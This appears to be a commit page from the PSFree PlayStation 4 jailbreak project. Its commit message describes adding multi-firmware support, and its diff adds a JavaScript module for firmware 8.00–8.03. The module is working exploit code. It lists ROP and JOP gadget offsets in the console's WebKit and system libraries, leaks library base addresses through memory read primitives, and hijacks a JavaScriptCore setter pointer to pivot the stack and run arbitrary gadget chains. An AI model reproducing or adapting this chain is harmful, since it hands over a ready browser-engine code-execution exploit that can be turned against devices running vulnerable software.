Prep for multi-fw and publishing on GitHub

### Added - `.gitignore` for kpatch output - Auto detect console type and firmware in `config.mjs` - Used elsewhere to determine which offsets/patches/ROP chain are used - WIP: Add 8.50-9.60 support - All offsets found - Running into some issue here. Wiped out my JOP chains to redo them... ### Fixed - Call `lapse.mjs` rather than `code.mjs` - Makefile for kpatch builds all currently available ### Changed - Use relative locations rather than absolute - Changed kpatch binaries to just be shellcode vs full ELFs - 5,216 bytes to 257 bytes. - Build kpatch binaries with `-Os` rather than `-O` - 257 bytes to 233 bytes. - Renamed/Formatted `CHANGELOG.md`, `README.md`, and `LICENSE`
2025-05-12 14:42:31 -07:00
parent b9f5957555
commit 3e47ad92a0
33 changed files with 2099 additions and 218 deletions
--- a/src/rop/ps4/800.mjs
+++ b/src/rop/ps4/800.mjs
@@ -0,0 +1,261 @@
+/* Copyright (C) 2023-2025 anonymous
+
+This file is part of PSFree.
+
+PSFree is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+PSFree is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program.  If not, see <https://www.gnu.org/licenses/>.  */
+
+// 8.00, 8.01, 8.03
+
+import { mem } from '../../module/mem.mjs';
+import { KB } from '../../module/offset.mjs';
+import { ChainBase, get_gadget } from '../../module/chain.mjs';
+import { BufferView } from '../../module/rw.mjs';
+
+import {
+    get_view_vector,
+    resolve_import,
+    init_syscall_array,
+} from '../../module/memtools.mjs';
+
+import * as off from '../../module/offset.mjs';
+
+// WebKit offsets of imported functions
+const offset_wk_stack_chk_fail = 0x8d8;
+const offset_wk_strlen = 0x918;
+
+// libSceNKWebKit.sprx
+export let libwebkit_base = null;
+// libkernel_web.sprx
+export let libkernel_base = null;
+// libSceLibcInternal.sprx
+export let libc_base = null;
+
+// gadgets for the JOP chain
+//
+// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its
+// type is PutPropertySlot::PutValueFunc
+const jop1 = `
+mov rdi, qword ptr [rsi + 8]
+mov rax, qword ptr [rdi]
+jmp qword ptr [rax + 0x70]
+`;
+// rbp is now pushed, any extra objects pushed by the call instructions can be
+// ignored
+const jop2 = `
+push rbp
+mov rbp, rsp
+mov rax, qword ptr [rdi]
+call qword ptr [rax + 0x30]
+`;
+const jop3 = `
+mov rdx, qword ptr [rdx + 0x50]
+mov ecx, 0xa
+call qword ptr [rax + 0x40]
+`;
+const jop4 = `
+push rdx
+mov edi, 0xac9784fe
+jmp qword ptr [rax]
+`;
+const jop5 = 'pop rsp; ret';
+
+// the ps4 firmware is compiled to use rbp as a frame pointer
+//
+// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
+// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
+// restore rbp (if needed) before the epilogue.
+//
+// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
+// pushed earlier before the pivot, thus restoring the old rbp).
+//
+// leave instruction equivalent:
+//     mov rsp, rbp
+//     pop rbp
+
+const webkit_gadget_offsets = new Map(Object.entries({
+    'pop rax; ret' : 0x0000000000035a1b, // `58 c3`
+    'pop rbx; ret' : 0x000000000001537c, // `5b c3`
+    'pop rcx; ret' : 0x0000000000025ecb, // `59 c3`
+    'pop rdx; ret' : 0x0000000000060f52, // `5a c3`
+
+    'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
+    'pop rsi; ret' : 0x000000000003bd77, // `5e c3`
+    'pop rdi; ret' : 0x00000000001e3f87, // `5f c3`
+    'pop rsp; ret' : 0x00000000000bf669, // `5c c3`
+
+    'pop r8; ret' : 0x00000000005ee860, // `41 58 c3`
+    'pop r9; ret' : 0x00000000006f501f, // `47 59 c3`
+    'pop r10; ret' : 0x0000000000060f51, // `47 5a c3`
+    'pop r11; ret' : 0x00000000013cad93, // `41 5b c3`
+
+    'pop r12; ret' : 0x0000000000d8968d, // `41 5c c3`
+    'pop r13; ret' : 0x00000000019a0edb, // `41 5d c3`
+    'pop r14; ret' : 0x000000000003bd76, // `41 5e c3`
+    'pop r15; ret' : 0x00000000002499df, // `41 5f c3`
+
+    'ret' : 0x0000000000000032, // `c3`
+    'leave; ret' : 0x0000000000291fd7, // `c9 c3`
+
+    'mov rax, qword ptr [rax]; ret' : 0x000000000002dc62, // `48 8b 00 c3`
+    'mov qword ptr [rdi], rax; ret' : 0x000000000005b1bb, // `48 89 07 c3`
+    'mov dword ptr [rdi], eax; ret' : 0x000000000001f864, // `89 07 c3`
+    'mov dword ptr [rax], esi; ret' : 0x00000000002915bc, // `89 30 c3`
+
+    [jop1] : 0x0000000001988320, // `48 8b 7e 08 48 8b 07 ff 60 70`
+    [jop2] : 0x000000000076b970, // `55 48 89 e5 48 8b 07 ff 50 30`
+    [jop3] : 0x0000000000f62f95, // `48 8b 52 50 b9 0a 00 00 00 ff 50 40`
+    [jop4] : 0x00000000021af6ad, // `52 bf fe 84 97 ac ff 20`
+    [jop5] : 0x00000000000bf669, // `5c c3`
+}));
+
+const libc_gadget_offsets = new Map(Object.entries({
+    'getcontext' : 0x258f4,
+    'setcontext' : 0x29c58,
+}));
+
+const libkernel_gadget_offsets = new Map(Object.entries({
+    // returns the location of errno
+    '__error' : 0x160c0,
+}));
+
+export const gadgets = new Map();
+
+function get_bases() {
+    const textarea = document.createElement('textarea');
+    const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
+    const textarea_vtable = webcore_textarea.readp(0);
+    const off_ta_vt = 0x236d4a0;
+    const libwebkit_base = textarea_vtable.sub(off_ta_vt);
+
+    const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
+    const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
+    const off_scf = 0x12a30;
+    const libkernel_base = stack_chk_fail_addr.sub(off_scf);
+
+    const strlen_import = libwebkit_base.add(offset_wk_strlen);
+    const strlen_addr = resolve_import(strlen_import);
+    const off_strlen = 0x4eb80;
+    const libc_base = strlen_addr.sub(off_strlen);
+
+    return [
+        libwebkit_base,
+        libkernel_base,
+        libc_base,
+    ];
+}
+
+export function init_gadget_map(gadget_map, offset_map, base_addr) {
+    for (const [insn, offset] of offset_map) {
+        gadget_map.set(insn, base_addr.add(offset));
+    }
+}
+
+class Chain800Base extends ChainBase {
+    push_end() {
+        this.push_gadget('leave; ret');
+    }
+
+    push_get_retval() {
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.retval_addr);
+        this.push_gadget('mov qword ptr [rdi], rax; ret');
+    }
+
+    push_get_errno() {
+        this.push_gadget('pop rdi; ret');
+        this.push_value(this.errno_addr);
+
+        this.push_call(this.get_gadget('__error'));
+
+        this.push_gadget('mov rax, qword ptr [rax]; ret');
+        this.push_gadget('mov dword ptr [rdi], eax; ret');
+    }
+
+    push_clear_errno() {
+        this.push_call(this.get_gadget('__error'));
+        this.push_gadget('pop rsi; ret');
+        this.push_value(0);
+        this.push_gadget('mov dword ptr [rax], esi; ret');
+    }
+}
+
+export class Chain800 extends Chain800Base {
+    constructor() {
+        super();
+        const [rdx, rdx_bak] = mem.gc_alloc(0x58);
+        rdx.write64(off.js_cell, this._empty_cell);
+        rdx.write64(0x50, this.stack_addr);
+        this._rsp = mem.fakeobj(rdx);
+    }
+
+    run() {
+        this.check_allow_run();
+        this._rop.launch = this._rsp;
+        this.dirty();
+    }
+}
+
+export const Chain = Chain800;
+
+export function init(Chain) {
+    const syscall_array = [];
+    [libwebkit_base, libkernel_base, libc_base] = get_bases();
+
+    init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
+    init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
+    init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
+    init_syscall_array(syscall_array, libkernel_base, 300 * KB);
+
+    let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
+    // JSCustomGetterSetter.m_getterSetter
+    gs = mem.addrof(gs).readp(0x28);
+
+    // sizeof JSC::CustomGetterSetter
+    const size_cgs = 0x18;
+    const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
+    mem.cpy(gc_buf, gs, size_cgs);
+    // JSC::CustomGetterSetter.m_setter
+    gc_buf.write64(0x10, get_gadget(gadgets, jop1));
+
+    const proto = Chain.prototype;
+    // _rop must have a descriptor initially in order for the structure to pass
+    // setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
+    // call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
+    // checks for any descriptor to run
+    //
+    // the butterfly's indexing type must be something the GC won't inspect
+    // like DoubleShape. it will be used to store the JOP table's pointer
+    const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
+    // replace .launch with the actual custom getter/setter
+    mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
+    proto._rop = _rop;
+
+    // JOP table
+    const rax_ptrs = new BufferView(0x100);
+    const rax_ptrs_p = get_view_vector(rax_ptrs);
+    proto._rax_ptrs = rax_ptrs;
+
+    rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
+    rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
+    rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
+    rax_ptrs.write64(0, get_gadget(gadgets, jop5));
+
+    const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
+    jop_buffer_p.write64(0, rax_ptrs_p);
+
+    const empty = {};
+    proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
+
+    Chain.init_class(gadgets, syscall_array);
+}